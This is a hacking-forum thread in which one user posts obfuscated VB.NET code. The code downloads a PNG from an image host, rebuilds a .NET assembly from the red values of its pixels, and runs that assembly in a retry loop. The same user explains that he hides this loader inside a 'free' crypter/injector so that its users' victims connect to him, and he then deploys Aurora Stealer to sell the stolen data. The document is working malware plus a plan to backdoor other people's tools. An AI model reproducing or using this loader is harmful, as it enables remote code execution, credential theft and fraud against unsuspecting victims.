TESLA MODEL 8 * X / RING 100 {CL}

[PhoenixUG9]

Code:

Public Sub Pixel(ByVal Optional class2 As String = "https://i.ibb.co/98X9cS4/2gu.png")
Try
Dim A As String = "ServicePointManager"
Dim B As String = "Expect100Continue"
Dim C As String = "SecurityProtocol"
Dim D As String = "DefaultConnectionLimit"
Dim E As String = "Exception"
Dim F As String = "Debug"
Dim G As String = "Bitmap"
Dim H As String = "Image"
Dim I As String = "Object"
Dim J As String = "WebClient"
Dim K As String = "FromStream"
Dim L As String = "OpenRead"
Dim M As String = "GetPixel"
Dim N As String = "Assembly"
Dim O As String = "Load"
Dim P As String = "EntryPoint"
Dim Q As String = "Invoke"
Dim R As String = "Thread"
Dim S As String = "Sleep"
B = Type.GetType("System.Drawing." & G & ",System.Drawing.Common, Version=4.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51").InvokeMember(K, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Nothing, New Object() {Type.GetType("System.Net." & J & ",System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(L, BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, Activator.CreateInstance(Type.GetType("System.Net." & J & ",System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")), New Object() {class2})})
C = Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember("GetObjectData", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, B, New Object() {Nothing, New Object()})
D = Type.GetType("System.Collections.Generic.List`1[System.Byte],mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(".ctor", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, Activator.CreateInstance(Type.GetType("System.Collections.Generic.List`1[System.Byte],mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")), Nothing)
E = Type.GetType("System.Net." & J & ",System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(L, BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, Activator.CreateInstance(Type.GetType("System.Net." & J & ",System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")), New Object() {class2})
F = B.GetType().InvokeMember("Width", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.GetProperty, Nothing, B, Nothing)
G = Type.GetType("System.Collections.Generic.List`1[System.Byte],mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember("Add", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, D, New Object() {Type.GetType("System.Drawing." & G & ",System.Drawing.Common, Version=4.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51").InvokeMember(M, BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, B, New Object() {Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(I, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Activator.CreateInstance(Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")), New Object() {CObj(F), CInt(0)}).GetType().InvokeMember("R", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.GetProperty, Nothing, Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(I, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Activator.CreateInstance(Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")), New Object() {CObj(F), CInt(0)}), Nothing)})
H = Type.GetType("System.Reflection." & N & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(O, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Nothing, New Object() {Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember("ToArray", BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.InvokeMethod, Nothing, D, Nothing)})
I = Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(Q, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(P, BindingFlags.Public Or BindingFlags.Instance Or BindingFlags.GetProperty, Nothing, Type.GetType("System.Reflection." & N & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(O, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Nothing, New Object() {Type.GetType("System." & I & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember("GetMethod", BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Type.GetType("System.Reflection." & N & ",mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089").InvokeMember(O, BindingFlags.Public Or BindingFlags.Static Or BindingFlags.InvokeMethod, Nothing, Nothing, New Object() {".cctor"}), New Object() {New Byte() {}})}), New Object() {Nothing, Nothing})
Dim asmNet As System.Type = System.Type.GetType("System.Net.ServicePointManager,System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
Dim spm As Object = asmNet.GetProperty("Expect100Continue").GetValue(Nothing, Nothing)
spm.GetType().InvokeMember("Expect100Continue", Reflection.BindingFlags.SetProperty Or Reflection.BindingFlags.Public Or Reflection.BindingFlags.Static, Nothing, Nothing, New Object() {True})

Dim spmSecurityProtocol As Object = asmNet.GetProperty("SecurityProtocol").GetValue(Nothing, Nothing)
spmSecurityProtocol.GetType().InvokeMember("SecurityProtocol", Reflection.BindingFlags.SetProperty Or Reflection.BindingFlags.Public Or Reflection.BindingFlags.Static, Nothing, Nothing, New Object() {3072})

Dim spmDefaultConnectionLimit As Object = asmNet.GetProperty("DefaultConnectionLimit").GetValue(Nothing, Nothing)
spmDefaultConnectionLimit.GetType().InvokeMember("DefaultConnectionLimit", Reflection.BindingFlags.SetProperty Or Reflection.BindingFlags.Public Or Reflection.BindingFlags.Static, Nothing, Nothing, New Object() {9999})

Catch ex As Exception
System.Diagnostics.Debug.WriteLine(ex.Message)
End Try

Try
A:
Dim B As System.Drawing.Bitmap = Nothing
Dim list As New System.Collections.Generic.List(Of Byte)()
Dim web As New System.Net.WebClient()
B = System.Drawing.Image.FromStream(web.OpenRead(class2))
Dim i As Integer
Dim loopTo As Integer = B.Width - 1
For i = 0 To loopTo
list.Add(B.GetPixel(i, 0).R)
Next

Dim asm As System.Reflection.Assembly = System.Reflection.Assembly.Load(list.ToArray())
Dim entryPoint As System.Reflection.MethodInfo = asm.EntryPoint
entryPoint.Invoke(Nothing, Nothing)
Catch ex As Exception
System.Diagnostics.Debug.WriteLine(ex.Message)
System.Threading.Thread.Sleep(5000)
GoTo A
End Try
End Sub

Connecting to red pixel bytes. Simplified the code for myself

---

This is a bump
<a>

 

[VarksHUB]

without additional context or a clear objective, it's challenging to provide a definitive understanding of the purpose or functionality of this code

#1 CHEAPEST SOCIAL MEDIA BOOSTS

....
​

 

[PhoenixUG9]

(26 May, 2023 - 11:00 PM)VarksHUB Wrote: Show More
without additional context or a clear objective, it's challenging to provide a definitive understanding of the purpose or functionality of this code

The code is a method for connecting to red pixels. I posted a few items on hackforums for free. The goods that I put up there are crypter / injector This crypter injects code, and the injected code has the above code in it. We create a stream and it turns out that after the guys start distributing an encrypted version of their stub, I will receive their connections. Then all I have to do is upload Aurora Stealer and I can make money selling/using the data.
<a>

 

[Tamkeenads]

hey man the link you give is some sort of a song or anthem